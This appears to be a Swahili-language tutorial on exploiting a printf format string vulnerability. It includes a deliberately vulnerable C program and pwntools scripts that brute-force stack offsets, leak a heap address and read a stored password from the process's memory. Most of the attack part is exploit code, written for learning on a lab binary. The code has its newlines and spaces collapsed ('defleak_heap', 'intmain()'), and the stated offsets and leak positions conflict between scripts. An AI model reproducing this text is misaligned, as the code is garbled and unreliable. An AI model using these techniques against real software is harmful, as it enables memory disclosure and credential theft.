from pwn import*p =process('./fs-read')payload =f"%11$s|||||".encode()payload +=p64(0x00400000)p.sendline(payload)log.info(p.clean())
Kisawe ni 11 kwa sababu kuweka As kadhaa na kujaribu kwa nguvu na mzunguko wa kisawe kutoka 0 hadi 50 kuligundua kuwa kwa kisawe cha 11 na herufi 5 za ziada (mabomba | katika kesi yetu), inawezekana kudhibiti anwani kamili.
Nilitumia %11$p na kujaza mpaka nilipoona kuwa anwani ilikuwa 0x4141414141414141
Malipo ya herufi ya muundo yapo KABLA ya anwani kwa sababu printf inakoma kusoma kwenye baiti tupu, kwa hivyo ikiwa tutatuma anwani kisha malipo ya herufi ya muundo, printf haitafikia malipo ya herufi ya muundo kwani baiti tupu itapatikana kabla
Anwani iliyochaguliwa ni 0x00400000 kwa sababu ndipo programu ya binary inapoanza (bila PIE)
#include<stdio.h>#include<string.h>char bss_password[20] ="hardcodedPassBSS"; // Password in BSSintmain() {char stack_password[20] ="secretStackPass"; // Password in stackchar input1[20], input2[20];printf("Enter first password: ");scanf("%19s", input1);printf("Enter second password: ");scanf("%19s", input2);// Vulnerable printfprintf(input1);printf("\n");// Check both passwordsif (strcmp(input1, stack_password)==0&&strcmp(input2, bss_password)==0) {printf("Access Granted.\n");} else {printf("Access Denied.\n");}return0;}
Itafsiri kwa:
clang-ofs-readfs-read.c-Wno-format-security
Soma kutoka kwenye stack
stack_password itahifadhiwa kwenye stack kwa sababu ni variable ya ndani, hivyo kutumia printf kuonyesha maudhui ya stack ni ya kutosha. Hii ni exploit ya BF ya nafasi 100 za kwanza kufichua nywila kutoka kwenye stack:
from pwn import*for i inrange(100):print(f"Try: {i}")payload =f"%{i}$s\na".encode()p =process("./fs-read")p.sendline(payload)output = p.clean()print(output)p.close()
Katika picha niwezo kuona kwamba tunaweza kuvuja nywila kutoka kwenye stack katika nafasi ya 10th:
Soma data
Kwa kutekeleza shambulizi sawa lakini kwa kutumia %p badala ya %s niwezo kuvuja anwani ya heap kutoka kwenye stack kwa %25$p. Zaidi ya hayo, kwa kulinganisha anwani iliyovuja (0xaaaab7030894) na nafasi ya nywila kwenye kumbukumbu katika mchakato huo tunaweza kupata tofauti za anwani:
Sasa ni wakati wa kutafuta jinsi ya kudhibiti anwani 1 kwenye stack ili kuifikia kutoka kwenye udhaifu wa pili wa neno la muundo:
from pwn import*defleak_heap(p):p.sendlineafter(b"first password:", b"%5$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)for i inrange(30):p =process("./fs-read")heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")password_addr = heap_leak_addr -0x126aprint(f"Try: {i}")payload =f"%{i}$p|||".encode()payload +=b"AAAAAAAA"p.sendline(payload)output = p.clean()print(output.decode("utf-8"))p.close()
Na niwezekano wa kuona hilo katika jaribu 14 na kutumia kipitishaji tunaweza kudhibiti anwani:
Kudukua
from pwn import*p =process("./fs-read")defleak_heap(p):# At offset 25 there is a heap leakp.sendlineafter(b"first password:", b"%25$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")# Offset calculated from the leaked position to the possition of the pass in memorypassword_addr = heap_leak_addr +0x1f7bcprint(f"Calculated address is: {hex(password_addr)}")# At offset 14 we can control the addres, so use %s to read the string from that addresspayload =f"%14$s|||".encode()payload +=p64(password_addr)p.sendline(payload)output = p.clean()print(output)p.close()